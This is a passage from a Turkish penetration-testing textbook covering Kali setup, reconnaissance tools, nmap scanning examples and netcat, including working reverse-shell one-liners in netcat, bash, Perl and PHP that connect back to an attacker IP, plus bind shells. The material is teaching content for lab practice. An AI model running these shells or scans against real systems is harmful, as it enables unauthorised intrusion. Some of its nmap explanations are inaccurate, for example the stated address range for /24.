Bu adımlardan sonra, yeni sanal makinemiz, durdurulan (Stopped)
modda olarak yeni VM listesinde kullanılabilir olmalıdır. Kali'yi
kurmak için, en son sürümü Kali Linux Ana Sayfasından
indireceğiz (https://www.kali.org). Bunun için İndirme alanına
gitmeli ve bilgisayarınızın özellikleri ile uyumlu olarak en yeni 32
bit veya 64 bit sürümünü seçmelisiniz. Şekil 1.9, özellikle 64 bit
10
versiyonundaki Kali için mevcut en son image dosyasını seçerek
bu süreci tamamlayacağız.
Şekil 1-9 - Downloading Kali (64 bit sürümü)
İndirme işlemi ile, bizim kendi bilgisayarımızda, sanal makinemizi
Oracle VirtualBox'a yüklemek için kullanacağımız bir kali Linux
imajını (ISO formatında) edindik. Kali Linux'umuzun
bilgisayarında mevcut olduğuna göre, VirtualBox'a VM'mizi
kurmaya başlayarak ilerliyoruz, sonrasında kurulum kaynağımız
olan Kali ISO imaj dosyasını bulmalı ve seçmeliyiz. Bu işlem,
Şekil 1.10'da gösterilmiştir.
11
Şekil 1-10 - Kurulum için Kali Linux ISO image dosyası seçimi
Yükleyicinin açılışında, Kali Linux'a Canlı modda (Live Mod)
veya sisteme kurma seçeneklerimiz mevcutturr. Kali Linux'u
VirtualBox'ta bir VM olarak kurmak istediğimizden bu son
seçeneği seçeceğiz. Kali yükleyicide kullanılacak ilgili seçenek
Şekil 1.11'de gösterilmiştir.
12
Şekil 1-11 - Oracle VirtualBoxiçine Kali Linux Kurulumu
Yükleme işleminin başlangıcında, Dil, Yer ve Klavye ile ilgili
uygun seçenekleri seçmelisiniz. Ardından, Ana Bilgisayar Adı,
Etki Alanı adı ve yönetici (kök kullanıcı) parolası ve ayrıca diskin
bölümlendirilmesi gerektiği şekilde tanımlar ile devam
edilmektedir. Burada Şekil 1.12'de gösterildiği gibi Kılavuzlu disk
bölümleme (Guided disk partitioning) seçeneğini kullanmak daha
güvenlidir. Bölümleme işlemi devam etmeli ve Şekil 1.13'te
olduğu gibi bir kullanıcı onayı istenmektedir.
13
Şekil 1-12 - Kali Linux kurulumu boyunca otomatik disk bölümleme seçimi
Şekil 1-13 - Disk bölümleme onayı
Yükleme işleminin sonunda bu yazılımın VM'nin başlatılmasında,
Kali Linux'u düzgün bir şekilde önyüklenemesi gerekli olduğu için
GRUB (GNU GRUB önyükleme yükleyicisinin) kurulumunu
onaylamamız gerekir. Gerekli onaylama adımı, Şekil 1.14 ve
1.15'te gösterilmektedir.
Şekil 1-14 - GRUB Ayarı için Onay penceresi
14
Şekil 1-15 - GRUB yükleneceği yer onayı
Yükleme işleminin sonunda, Kali Linux, yönetici hesabı (kök) ve
yükleme işlemi sırasında sağlanan parola kullanılarak oturum
açmanız için hazır olacaktır. Şekil 1.16, giriş işleminden sonra
Kali'de mevcut olan çalışma ortamını göstermektedir.
Şekil 1-16 - Kali Linux kurulumu sonrası Masaüstü
15
1.1.3.2 Temel Ağ Ayarları
Kali Linux'un kurulumundan sonraki önemli bir adım, ağ
yapılandırmasını tamamlamaktır. Tipik bir masaüstü kurulumunda,
tercih edilen yol NetworkManager'ı kullanmaktır. Bu uygulama,
sistemde hazır halede bulunmaktadır. Uygulama çalıştırıldıktan
sonra Şekil 1.17'de gösterildiği gibi ağ ayarlarına erişmek ve
kontrol etmek için kullanılabilir.
Şekil 1-17 - Network ayarlarına erişim
Daha önce de belirtildiği gibi Kali Linux VM, Virtual Box
üzerinden internete erişebilmekte ve ayrıca DHCP (dinamik ana
bilgisayar yapılandırma protokolü) aracılığıyla elde edilen bir ağ
yapılandırması ile kablolu bağlantı kurabilmektedir. Bu, şekil
1.19'de gösterildiği gibi ıwconfig komutu ile teyit edilebilir.
Kitabın ilerleyen kısımlarında, Kali Linux'ta destek için bir Wi-Fi
ağ kartı ekleyeceğiz. Bu, kitap boyunca gerçekleştirilen güvenlikle
ilgili birçok test için gerekli bir adımdır.
16
Şekil 1-18 Kablolu arabirim için ağ yapılandırması
Şekil 1-19 - Kablosuz ağları onaylama
17
2 Bölüm B
2.1 Bilgi Toplama
Bilgi:Çoğu zaman bilen özne ile bilinen nesne arasında kurulan
ilişki sonucunda ortaya çıkan ürün olarak tanımlanır.
Veri:Olgu, kavram veya komutların, iletişim, yorum ve işlem
için elverişli biçimli gösterimi.
2.1.1 Veri ve Bilgi Arasındaki Fark
Veri ve bilgi birbiriyle bağlantılıdır fakat aynı şey değildir.
Bilgisayarların veriye ihtiyacı vardır. İnsanların ise bilgiye. Veri
yapı taşıdır. Bu yapı taşlarıyla bilgiyi oluşturursunuz. Bilgi hem
anlam hem içerik sunar. Veri hamdır şekillendirilmemiştir,
işlenmemiştir ve çözümlenmemiştir. Yani kısaca veri tek başına
anlamsızdır, bir araya gelip işlenerek bilgiyi oluşturur.
Veri ile bilgi arasındaki farkları özetlemek gerekirse:
Veri bilgisayar sistemleri için bir girdi olarak kullanılır.
Bilgi ise bu girdinin bir çıktısıdır.
Veri işlenmemiş rakamlar, sayılar ve figürlerdir. Bilgi
verilerin işlenmiş halidir.
Veri bilgiden bağımsızdır. Bilgi ise veriye bağımlıdır.
Veri spesifik, kesin, belirli değildir. Bilgi spesifiktir,
belirlidir.
Veri tek bir üniteden oluşur. Bilgi ise gruplandırılmış
verilerden oluşabilir.
Veri anlamsızdır. Bilginin bir anlamı vardır.
Veri hamdır. Bilgi üründür.
18
Bilgiye duyulan ihtiyaç
Bir sisteme sızmaya planlayan kişinin ilk işi düzenli bilgi
toplama ve topladığı bu bilgiyi değerlendirme aşamasıdır.
Bilgi toplama aşamasında bu bilgi gerekli mi değil mi
diye bakılmadan toplanmalıdır.
Toplanan bilgiler belirli bir amaca hizmet edebilmesi için
sınıflandırılmalıdır.
2.1.2 Bilgi Toplama Yöntemleri
1. Pasif Bilgi Toplama
2. Aktif Bilgi Toplama
2.1.3 Pasif Bilgi Toplama
Bu bilgi toplama yönteminde hedef sistem ile herhangi bir
iletişime geçilmez.Sistem hakında bilgi edinebilmek için
internetin imkanlarından faydalanılır.Peki bu bilgi toplama
yöntemlerinde neler yapılabilir.
A. Ip Adresleri Hakkında Bilgi Toplama
B. Domainler Hakkında Bilgi Toplama
C. Web Sayfalarında Bilgi Toplama
2.1.3.1 Ip Adresleri Hakkında Bilgi Toplama
Ip adresleri dünyada tek bir merkezden verilir.Bu merkezin ismi
ICANN ‘dir. ICANN (Internet Corporation for Assigned Names
and Numbers) İnternet Tahsisli Sayılar ve İsimler Kurumu
uluslararası düzeyde organize olmuş, İnternet Protokolü (IP)
adresi alanı tahsisi, protokol tanıtıcı ataması, genel (gTLD) ve
ülke kodu (ccTLD) Üst Düzey Alan ismi sistemi yönetimi ve
kök sunucu sistemi yönetimi işlevlerinden sorumlu kâr amacı
gütmeyen bir kurumdur.
Bir IP adresi sorgusunu en kısa yoldan Whois Sorgusu ile
yapılmaktadır.
19
2.1.3.2 Whois Sorgusu
2.1.3.3 Whois Nedir?
Domain whois, domain ile ilgili teknik ve iletişim bilgilerine
ulaşabileceğiniz bir servistir. Uluslararası domain kayıt
otoritesinin ( ICANN ) kurallarına göre domain sahip
bilgilerinin doğru, eksiksiz ve güncel olması gerekmektedir.
2.1.3.4 Whois Bilgilerine Herkes Ulaşabilir mi?
Whois bilgilerine herkes ulaşabilir, fakat bazı domain sahipleri
kişisel bilgilerinin açıkça yayınlanmasını istemeyebilirler.
Kişisel bilgilerinin yayınlanmasını istemeyen kişiler Whois
Gizleme servisini aktif edebilirler. Whois gizleme servisi ile
ICANN ve domain kayıt firmanız sizin whois bilgilerinizi
görürken dışarıdan sorgu yapan 3. şahıslar sizin bilgilerinizi
göremez.
Şekil 2-1-Whois web sitesi
http://www.whois.com/ internet adresine bilgi edinmek
istediğimiz IP numarasını yazdığımız zaman (örnek:
93.89.224.222) aşağıdaki ekran karşımıza çıkmaktadır.
20
Şekil 2-2 Whois site sorgusu
21
2.1.3.5 RIPE Uzerinden IP Sorgulama
Şekil 2-3 Ripe websitesi
https://www.ripe.net/ internet adresine bilgi edinmek
istediğimiz IP numarasını yazdığımız zaman (örnek:
93.89.224.222) aşağıdaki ekran karşımıza çıkmaktadır.
Şekil 2-4 Ripe.net site sorgulama
22
2.1.3.6 Serversniff.net
Bir web sayfanın aktif mi yoksa pasif mı olduğunu öğrenmek
için ping işlemi uygular.
2.1.3.7 Domainler Hakkında Bilgi Toplama
Domain (alan adı) web sitenizin internet üzerindeki adı ve
adresidir. Bu adres olmadan internet üzerinden web sitenize
ulaşılamaz
Domainler ip adresi diye tabir edilen, bilgisayarların birbirini
görmesini sağlayan numerik sisteminin daha kolaylaştırılmış ve
rahatça girilebilmesi için kelimelerle ifade edilen halidir.
Örneğin cybersecurityplus.org alan adını adres çubuğuna
yazdığımızda, kullanmakta olduğunuz internet bu alan adının ip
adresini çözümler ve daha sonra sizi bu ip adresindeki sunucuya
yönlendirir.
Şekil 2-5 Serversniff.de screenshot
23
Bir Domain ‘nin var olup olmadığını öğrenmek için ise domain
sorgulayan internet sitelerinden faydalanılır.
Şekil 2-7 Domain isim sorgusu - 2
Şekil 2-6 Domain isim sorgusu -1
24
Şekil 2-8 Subdomain sorgulama
2.1.3.8 Web Sayfalarında Bilgi Toplama
a) Archive.org
b) Netcraft.com
c) Pipl.com
2.1.3.9 Archive.org
Wayback Machine archive.org sitesinin 1996 yılından bu yana
açılan bütün sitelerin indexlerinin arşivlendiği ve siteler silinse
dahi oradan görüntülerine ulaşabildiğimiz bir servisidir. Bu
siteden geçmişe dönük ve günümüzden sitelerin arşivlerine
ulaşmak mümkündür. Sadece sitenin adresini yazmak yeterlidir.
25
Şekil 2-9 Archive.org
Search satırana http://www.cybersecurityplus.org/ yazıp Go
tuşuna bastığımızda ise aşağıdaki ekran görüntüsü bizi
karşılamaktadır.
Şekil 2-10 waybackmachine.com
26
2.1.3.10 Netcraft.com
Sorgulanan web sitesinin hangi isletim sisteminde hangi web
server uzerinde en son ne zaman reboot edildiğini gösteren
sitedir.
Şekil 2-11 Netcraft.com
27
Adres satırana http://www.cybersecurityplus.org/ yazıp Search
tuşuna bastığımızda ise aşağıdaki ekran görüntüsü bizi
karşılamaktadır
Yukardan da anlaşıldığına göre hedef sistemdeki işletim sistemi
“LINUX” sistem üzerindedir.
2.1.3.11 Pipl.com
Webi tarayarak kişiler hakkında bilgi toplayıp, yayınlayan
sitedir.ilk Metin kutusuna isim , e-mail adres,soyisimi veya
telefon numarası yazılabilir.İkinci metin kutusuna ise hangi
yerleşim yerinde arama yapılacak ise o yerleşi yerinin ismi
yazılmalıdır.
Şekil 2-13 Pipl.com
2.1.4 Aktif Bilgi Toplama
Bu bilgi toplama yönteminde ise hedef sistem ile doğrudan
iletişime geçirilir. Riskli bilgi toplama yöntemidir.Çok dikkatli
olunması gerekmektedir. Yakalanma olasılığı her zaman
mevcuttur.
Şekil 2-12 Netcraft.com sonuç ekranı
28
2.1.4.1 Network Maping
2.1.4.2 NMAP
Network mapper. En yaygın bilinen şekliyle bilgisayarın açık
olan portlarını, parmak izini, kullanılan servislerin isim ve
versiyon numaralarını bulmaya yarar. Nmap, herhangi bir ağda
bulunan cihaza veya cihazlara çeşitli paketler yollayıp bu
paketlere verilen cevapları inceleyerek, ağ ve hedef cihaz ile
ilgili bilgiler toplayan gelişmiş bir ağ arama uygulamasıdır..
Nmap, bilgisayar ağları uzmanı Gordon Lyon (Fyodor)
tarafından geliştirilmiş bir güvenlik tarayıcısıdır.
Nmap, istenilen ağın haritasını çıkarabilir ve ağ üzerinde ki
cihazlarda yer alan servislerin bilgilerini, işletim sistemlerini,
portlarını tespit edebilir.
Nmap Neden Kullanırız?
1)Kendi ağımız ve ya uzaktaki bir ağda hangi makinaların
göndereceğimiz isteklere yanıt verdiğini görmek için.
2)İstenen ağda veya bilgisayarda açık olan portları bulmak için.
3)İstenen ağda ve ya bilgisayarda iletim sistemi ve o ağda-
bilgisayarda kullanılan servisler hakkında detaylı bilgi.
4) Gönderdiğimiz paketlere ağ veya bilgisayarların verdikleri
cevaplar.
Desteklenen platformlar ; FreeBSD, OpenBSD, NetBSD,
Solaris, IRIX, MAC OS X, HP-UX, Sun OS, Amiga, Linux ve
Microsoft Windows.
Nmap’i en basit olarak kullanmak için bir hedef belirtmememiz
gerekiyor. Hedef olarak bir web adresi, IP adresi
verebileceğinizin yanı sıra bir ağ da verebiliriz.
29
Nmap ile en basit arama işlemi “nmap ip” şeklindedir. Nmap
default olarak en çok kullanılan 1000 porta SYN taraması
yapar.
2.1.4.2.1 Nmap Kurulumu
Eğer bilgisayarınızda Kali Linux, Parrot veya Blackbox gibi
pentest uygulamaları için geliştirilmiş bir OS yüklü ise, nmap
adlı uygulamamız otomatik olarak yüklü bir şekilde
gelmektedir. Eğer farklı bir işletim sistemi kullanıyor iseniz,
uygulamamızı kurmanız gerekmektedir.Aşağıdaki komutla
nmap‘i bilgisayarınıza kurmuş olacaksınız.
Şekil 2-14 NMAP kurulumu
sudo apt-get install nmap –fix-missing
Eğer Red Hat, Fedora, Mandrake gibi YUM paket yöneticisini
kullanan bir linux işletim sistemi kullanıyor iseniz, aşağıdaki
komutu uygulayın.
yum install nmap
30
2.1.4.2.2 Ağ Açıklarını Bulmak
2.1.4.2.3 Nmap ile Açık Sistemlerin Tespiti
Güvenlik testlerine başlamadan önce ilk yapılması gereken
işlem ağ üzerinde ki açık sistemlerin tespitidir. Bunun için
nmap parametreleri önemlidir. Nmap parametreleri aşağıda
verilmiştir.
2.1.4.2.4 NMAP Parametreleri
1. -sn: Port taraması yapma anlamına gelir.
2. -n: DNS Çözümlemesi yapma anlamına gelir.
3. -v, -vv, -vvv: Ekrana gösterilecek detayları arttırır.
4. -F: Daha hızlı tarama yapar. Daha az sonuç bulur.
5. -sS: Syn Taraması Yapar
6. --reason: Bulduğu bir sonucun sebebini gösterir.
7. --Open: Sadece açık Portları gösterir.
8. -p-: Bir IP üzerinde bulunması muhtemel 65535 portun
hepsini tarar.
9. -sV: Açık portta çalışan servisin ne olduğunu bulmaya
çalışır. -sC ile birlikte kullanılırsa işe yarar.
10. -sC: -sV ile versiyon tespiti yapılırken nmap scriptlerini
kullanır.
11. -p: Sadece bu parametreden sonra belirtilen portları
tarar.
31
2.1.4.2.5 Nmap Tarama Adımları
Nmap tarama adımları 3 şekilde yapılabilir.
1. IP Taraması
2. Port Tarama
3. Portlarda Servis Tarama
4. Online İnternet Site Port Taraması
2.1.4.2.6 IP Taraması
Bağlı olduğunuz ağdaki bilgisayarların IP lerin taranması
şeklinde olur.
Örnek 1.1
nmap 192.168.1.40
Açıklama : 192.168.1.40 ip adresindeki sisteme tarama işlemi
gerçekleştirilir. Aşağıdaki çıktıda görüldüğü gibi nmap en çok
kullanılan 1000 porta tarama gerçekleştirildi.
Şekil 2-15 nmap Örnek 1.1
32
Örnek 1.2
nmap 192.168.1.*
Açıklama: IP Adresleri (192.168.1.0 – 192.168.1.200)
aralığı tarama işlemi gerçekleştirilir.
Örnek 1.3
nmap www.cybersecurityplus.org
Açıklama: www.cybersecurityplus.org internet sitesine nmap
uygulaması gerçekleştirilmektedir.
Şekil 2-16 nmap Örnek 1.2
33
Örnek 1.4
nmap –vv www.cybersecurityplus.org
Açıklama: www.cybersecurityplus.org internet sitesine nmap
uygulaması gerçekleştirilmektedir. -vv komutu ile sonuç
ayrıntılı olarak gösterilmektedir.
Örnek 1.5
nmap 192.168.1.1 192.168.1.2 192.168.1.3
Açıklama: 192.168.1.1 / 192.168.1.2 / 192.168.1.3 ip
adresindeki sistemlere tarama işlemi gerçekleştirilir.
Örnek 1.6
nmap 192.168.1.1,2,3
Açıklama: 192.168.1.1 / 192.168.1.2 / 192.168.1.3 ip
adresindeki sistemlere tarama işlemi gerçekleştirilir.
Örnek 1.7
nmap 192.168.1.0/24
Açıklama: 192.168.1.0 dan itibaren 192.168.1.24 arasında
kalan ip adresindeki sistemlere tarama işlemi gerçekleştirilir.
Örnek 1.8
nmap -iL input.txt
Açıklama: Tarama işlemindeki IP’ler input.txt dosyasından
alınmaktadır.
34
Örnek 1.9
nmap 192.168.1.0/24 --exclude 192.168.1.1
Açıklama: 192.168.1.0 ile 192.168.1.24 arasındaki 192.168.1.1
ip’si hariç bütün Ip’leri tarama işlemi gerçekleştirilmektedir.
Örnek 1.10
nmap 192.168.1.0/24 --exclude 192.168.1.1,2,3
Açıklama: 192.168.1.0 ile 192.168.1.24 arasındaki
192.168.1.1/ 192.168.1.2/ 192.168.1.3 ipleri hariç bütün Ip’leri
tarama işlemi gerçekleştirilmektedir.
Örnek 1.11
nmap 192.168.1.0/24 --excludefile exclude.txt
Açıklama 192.168.1.0 ile 192.168.1.24 arasındaki ip’leri
exclude.txt dosyasındaki Ip’ler hariç tarama işlemi
gerçekleştirilmektedir.
Örnek 2.1
nmap -sn 192.168.1.0/24
Açıklama: 192.168.1.1 / 192.168.1.24 arasında kalan ip
adresindeki sistemlere port tarama işlemi gerçekleştirilir.
Örnek 2.1
nmap -sn -n -v --open 192.168.1.0/24
Açıklama: Açıklama 192.168.1.1 / 192.168.1.24 arasında kalan
ip adresindeki sistemlere
-sn: Port taraması yapma anlamına gelir.
35
-n: DNS Çözümlemesi yapma anlamına gelir
-v, -vv, -vvv: Ekrana gösterilecek detayları arttırır.
--open: Sadece açık Portları gösterir.
Örnek 2.2
$ nmap -p 80 192.168.1.1
Açıklama:192.168.1.1 ip adresindeki sistemin 80 nolu portuna
tarama işlemi gerçekleştirilir.
Örnek 2.3
nmap -p 80,443 192.168.1.1
Açıklama:192.168.1.1 ip adresindeki sistemin 80 ve 443 nolu
portuna tarama yapılmaktadır.
Örnek 2.4
nmap -p 80-1000 192.168.1.1
Açıklama:192.168.1.1 ip adresindeki sistemin 80 ile 1000
arasındaki portlara tarama yapılmaktadır.
Örnek 2.5
nmap -p "*" 192.168.1.1
Açıklama:192.168.1.1 ip adresindeki sistemin bütün portlarına
tarama yapılmaktadır.
36
Örnek 2.6
nmap --top-ports 5 192.168.1.1
Açıklama:192.168.1.1 ip adresindeki sistemin en önemli 5
portuna tarama yapılmaktadır.
Örnek 2.7
nmap --top-ports 10 192.168.1.1
Açıklama:192.168.1.1 ip adresindeki sistemin en önemli 5
portuna tarama yapılmaktadır.
Örnek 2.8
nmap -sT 192.168.1.1
Açıklama:192.168.1.1 ip adresindeki sistemin Tüm TCP
Portları tarama yapılmaktadır.
Örnek 2.9
nmap -p T: 80 192.168.1.1
Açıklama:192.168.1.1 ip adresindeki sistemin 80 nolu tcp
portuna tarama yapılmaktadır.
Örnek 2.10
nmap -sU 192.168.1.1
Açıklama:192.168.1.1 ip adresindeki sistemin UDP
portuna tarama yapılmaktadır.
Örnek 2.11
nmap -p U:53,79,113,T:21-25,80,443,8080 192.168.1.1
37
Açıklama:192.168.1.1 ip adresindeki sistemin farklı portlarına
tarama işlemi yapılmaktadır.
Örnek 2.12
nmap --open 192.168.1.1
Açıklama:192.168.1.1 ip adresindeki sistemin açık olan
portlarını tarama yapılmaktadır.
Örnek 2.13
sudo nmap -Pn -sS -n -v --reason --open 192.168.1.169
Açıklama:SYN taraması kullanıldığından, başında sudo komutu
vermeliyiz çünkü SYN taraması normal kullanıcıların
yapabileceği bir tarama değildir.
Bu örnekte, 192.168.1.169 IP adresinde bulunan açık Portlarda,
SYN paketleri ile VersiyonTaraması yapılmaktadır.
sudo nmap -sS -sV -sC -n -v -p 21,53,80,139,445,1001,1900
192.168.1.169
Portlarda Servis Tarama: Portlardaki servislerin taranması
şeklindedir.
Örnek 3.1
nmap –script –ftp-vsftpd-backdoor –p 21 192.168.124.129
Açıklama: Bu komut bize nmap scriptinden faydalanarak, var
olabilecek bir açıklığın tespiti için, 21 numaralı port üzerinden
ftp servisini kontrol edecektir
38
2.1.4.3 Online Internet Site Port Taraması
Hackertarget.com/nmap-online-port-scanner/ internet sitesine
girerek istediğiniz bir internet sitesinde port taraması
yapabilirsiniz.
Şekil 2-17 nmap online port tarayıcı
“IP address to scan” kısmına nmap taraması yapılacak internet
adresin IP adresini yazınız.Sonuç aşağıdaki gibi olacaktır.
Bu resimde ip adresi verilen internet sitesinin hangi portların
açık hangi portların filtrelenmiş olduğu gözükmektedir.
2.1.4.4 Netcat and Basic Usage
Netcat Linux dünyasında önemli bir yazılımdır.
Bilgisayarlarımız iletişimlerini sağlamak için portları
kullanırlar. Portları kapılar gibi düşünebiliriz. Portlarda
networkler arasında TCP ve UDP protokollerini kullanarak
39
gerçekleşen veri okuma yazma işlemlerini taramak yani kısaca
port taramak gibi işlemler için Netcat kullanıyoruz.
Netcat’in komut halini “nc” olarak kullanıyoruz. Bu komutun
temel amacı networkler arasındaki veri okuma / yazma
işlemlerine dair işlemlerdir.
Diğer Linux komutlarına göre genç sayılsa da çok kullanışlı ve
sevilen bir komuttur. Netcat, Hobbit isimli bir hacker tarafından
yazılmıştır. Sonraları windows için de uyarlanmıştır.
Netcat’in Temel Sözdizimi:
$ nc [options] host port
Host: Hedefin IP adresidir
Port: Hedefin port numarası ya da numaralarıdır. Yani birden
fazla port dinlenebilir
– Temel Netcat Client:
$ nc [Hedef IP adresi] [Port]
Burada client modda hedef IP üzerindeki istenilen portta bir
connection başlatmış oluruz.
– Basic Netcat Listener:
$ nc -l -p [Local Port]
Burada listener modunda istenilen yerel portta bir Netcat
Listener’ı oluşturmuş oluruz.
Örnek
nc 192.168.100.108 80
40
Şekil 2-18 Örneğin çıktısı
2.1.4.5 Netcat ile Dosya Fransferi
Bu örnekte, bir metin dosyasını aktarmak için bir Netcat
bağlantısı kullanacağız. Hedef ana bilgisayarda uzaktan komut
yürütülmesine sahip olduğumuzu ve saldırı cihazından ana
bilgisayara bir dosya aktarmak istediğimizi varsayalım. Önce,
hedef ana bilgisayarda bir dinleyici kurmalı ve saldırı
cihazından ona bağlanmamız gerekecektir. Bu amaçla 8080
numaralı bağlantı noktasını kullanacağız ve dosyayı
masaüstünde emniyet altına alacağız:
nc -lvp 8080 > /root/Desktop/transfer.txt
Saldırı cihazından 8080 numaralı bağlantı noktasına bağlanır ve
transfer.txt dosya adı göndeririz:
nc 192.168.100.107 8080 < /root/Desktop/transfer.txt
Şekil 2-19 Netcat kullanımı -1
41
Sonra Control + C'ye basarız ve dosyanın içeriğini hem saldırı
cihazında hem de hedef sunucu üzerinde yazdırırız.
Şekil 2-20 Netcat kullanımı -2
Burada da görebileceğiniz gibi, dosyaların içeriği eşittir ve bu
da saldırı cihazından hedef ana bilgisayara aktarılmış demektir.
2.1.4.6 Bind And Reverse Shells
2.1.4.6.1 Netcat Reverse Shells
Netcat'in çok popüler bir kullanımı buluınmaktadır ve
muhtemelen penetrasyon testi açısından en yaygın olarak
kullanılan araçtır. Reverse Shells, hedef bilgisayardan, saldırgan
bilgisayara geri dönerek başlatılan ve Shell kodalarını almak
için dinleme durumunda olan bir Shell işlemidir. Hedef ana
bilgisayarda bir bağlama Shell’i kurulur ve saldırgan
bilgisayardan gelen bir bağlantıyı dinlemek için belirli bir
bağlantı noktasına bağlanır. Kötü amaçlı yazılımlarda bir
bağlama shell’i çoğu zaman bir arka kapı olarak sayılır.
Aşağıdaki paragraflarda bağlama ve reverse shell kullanımını
göstereceğiz. Bu konu boyunca 4444 numaralı bağlantı
noktasını kullanacağız ancak bunun yerine başka herhangi bir
açık bağlantı olabileceğini lütfen unutmayın. Aslında, genellikle
42
bu portların açık olması için ters shell bağlantıları kurmak için
80 ve 443 gibi daha yaygın olan portları kullanmanız gerekir.
Nasıl çalıştığının daha iyi anlaşılabilmesi için bir Reverse
Netcat Shell’in nasıl yapıldığına bir göz atalım:
Şekil 2-21 Netcat Reverse Shell
Bu örnekte hedef 4444 numaralı bağlantı noktasını kullanarak
saldırgan bilgisayara geri bağlanır. -e parametresi, saldırgan
bilgisayara bir Bash Shell gönderir. Windows'da cmd.exe ile
birlikte -e seçeneğini de kullanabildiğimizi lütfen unutmayın.
Hedef ana bilgisayarda bir uzaktan kod yürütme (RCE)
güvenlik açığı bulduğumuzu varsayalım. Netcat komutunu
hedef ana bilgisayarda -e ile yayınlayabilir ve komutları vermek
için Netcat ile Reverse Shell başlatabiliriz.
Bunun, Netcat ile 2 Linux sistemi kurduğumuz aşağıdaki
örnekle nasıl çalıştığına bir göz atalım.
2.1.4.6.2 Netcat reverse shell örneği
Netcat ters kabuğunu kurmak için aşağıdaki adımları
izlemeliyiz:
43
1. Bir Netcat dinleyicisi kurun.
2. Hedef ana bilgisayardan Netcat dinleyicisine bağlanın.
3. Hedef ana bilgisayara saldırgan bilgisayardan komutlar
verin.
İlk olarak 4444 numaralı bağlantı noktasını aşağıdaki komutu
kullanarak dinleyen saldırgan bilgisayardan bir Netcat
dinleyicisi kurduk:
nc –lvp 4444
Saldırgan bilgisayardan bağlanmak için hedef ana bilgisayarda
aşağıdaki komutu çalıştırırız (Bu bilgisayarda uzaktan kod
yürütülüdüğünü unutmayın):
Linux için:
nc 192.168.100.113 4444 –e /bin/bash
Windows için:
nc.exe 192.168.100.113 4444 –e cmd.exe
Hedef bilgisayar üzerinde bir Bash Shell’imiz var ve Reverse
Shell’i başlatan hesap bağlamında bu bilgisayarı tam olarak
kontrol edebiliyoruz. Bu durumda kök kullanıcı dizini başlatılır,
bu da hedef ana bilgisayarda root yetkisine sahip olduğumuz
anlamına geliyor.
44
Şekil 2-22 Netcad reverse shell örneği
Yeşil konsol metnine sahip üst pencere hedef ana bilgisayardır
ve alt konsol saldırgan bilgisayardır. Gördüğümüz gibi,
192.168.100.107 saldırganın hedef ana bilgisayar olan
192.168.100.113'den kök erişimi vardır.
2.1.4.6.3 Hedef ana bilgisayarda Netcat olmadan Reverse Shell
Gösterilen örnekte en büyük dezavantaj, gerçek senaryonun
çoğunluğunda olmayan hedef hostda Netcat'e ihtiyaç
duymanızdır. Bazı durumlarda Netcat kullanılabilir veya
kurmanın bir yolu olabilir, ancak birçok durumda saldırgan
bilgisayar tekrar bağlanmak için alternatif yollar kullanmamız
gerekmektedir. Bir Reverse Shell kurmanın birkaç alternatif
yoluna göz atalım.
2.1.4.6.4 Bash reverse shell
Aşağıdaki komutu kullanarak hedef bilgisayardan saldırı
kutusuna reverse shell başlatmak için Bash'i kullanabilirsiniz:
bash -i >& /dev/tcp/192.168.100.113/4444 0>&1
45
Şekil 2-23 Bash reverse shell örneği
Saldırgan bilgisar üzerindeki Natcat’de görebildiğiniz gibi aynı
zamanda bash reverse shell de kabul etmektedir.
2.1.4.6.5 Perl reverse shell
Bir uzak ana bilgisayarda Perl varsa, Perl kullanarak reverse
shell’i de başlatabiliriz. Reverse Shell’i ayarlamak için hedef
ana bilgisayarda aşağıdaki komutu çalıştırın:
perl -e ‘use
Socket;$i=”192.168.100.113″;$p=4444;socket(S,PF_INET,SO
CK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_i
n($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>
&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
46
Şekil 2-24 Perl reverse shell örneği
2.1.4.6.6 PHP reverse shell
PHP, saldırıya uğramış ana bilgisayarda (genellikle web
sunucuları üzerinde olan durumdaysa) Netcat, Perl ve Bash'e
mükemmel bir alternatiftir. Saldırgan bilgisayarda reverse shell
için PHP'yi kullanmak istiyorsanız aşağıdaki kodu çalıştıralım:
php -r
‘$sock=fsockopen(“192.168.100.113”,4444);exec(“/bin/sh -i
<&3 >&3 2>&3”);’
Bu ters kabuğu görebildiğimiz gibi bir / bin / sh shelleri de
döndürür.
47
Şekil 2-25 PHP reverse shell örneği
2.1.4.6.7 Netcat Bind Shell
Bu Hacking with NetNetcat ile Hacking ile cat öğreticisinde
daha önce bahsettiğimiz gibi bir bind shell’i, gelen bağlantıları
dinlemek için hedef ana bilgisayardaki belirli bir porta bağlanan
bir shell uygulamasıdır. Netcat shell kabuğunun
görselleştirmesine bir göz atalım:
Şekil 2-26 Natcat bind shell
Bu görselde hedef, bir Netcat dinleyicisi kullanarak bir Bash
kabuğunu 4444 numaralı bağlantı noktasına bağlamaktadır.
Saldırgan basit bir Netcat komutu kullanarak bu bağlantı
noktasına bağlanır. Bir bağlama shell kabuğunu kurma adımları
aşağıdaki gibidir:
48
1. Bir bash shell’i Netcat kullanarak 4444 numaralı
bağlantı noktasına bağlayın.
2. Saldırgan bilgisayardan 4444 numaralı bağlantı
noktasındaki hedef ana bilgisayara bağlanın.
3. Hedef ana bilgisayara saldırgan bilgisayardan
komutlar verin.
2.1.4.6.8 Netcat Bağlama kabuğu örneği
Let’s see how this looks on the console:
Şekil 2-27 Netcad Bind Shell örneği
Hedef ana bilgisayar, 4444 numaralı bağlantı noktasına bir Bash
kabuğunu bağlar; saldırgan, Netcat kullanarak bu bağlantı
noktasına bağlanır ve hedefte bir kök kabuğa kendini atar.
49
3 Bölüm C
3.1 Sızma Teknikleri
3.1.1 Definitions – Vulnerability / Port Scanner
Tanımlamalar – Zaafiyet / Port Tarama
Bir "Zaafiyet (güvenlik açığı) tarayıcısı" (aynı zamanda bir
"ağ analizcisi- network analyser " olarak da adlandırılır), belirli
bir makinede veya tüm bir ağdaki açık bağlantı noktalarını
taranarak bir ağ üzerinde bir güvenlik denetiminin
gerçekleştirilmesini mümkün kılan bir yardımcı programdır.
Tarama işlemi, uzak bir ana bilgisayarda çalışan hizmetleri
belirlemeyi mümkün kılan probları (istekleri) kullanır
(http://ccm.net/contents/18-vulnerability-scanners-port-
scanning). Güvenlik risklerini belirlemek ve diğer bir deyişle bir
ağı tam olarak haritalamak için bir aralık veya bir IP adresi
listesi üzerinde bir analiz başlatmak mümkündür. Çeşitli
portlara ardışık talep göndererek system üzeride açık olan
portları belirleyebilir ve hangisinin aktif olduğunu belirlemek
için verilen yanıtları analiz edilebilir.
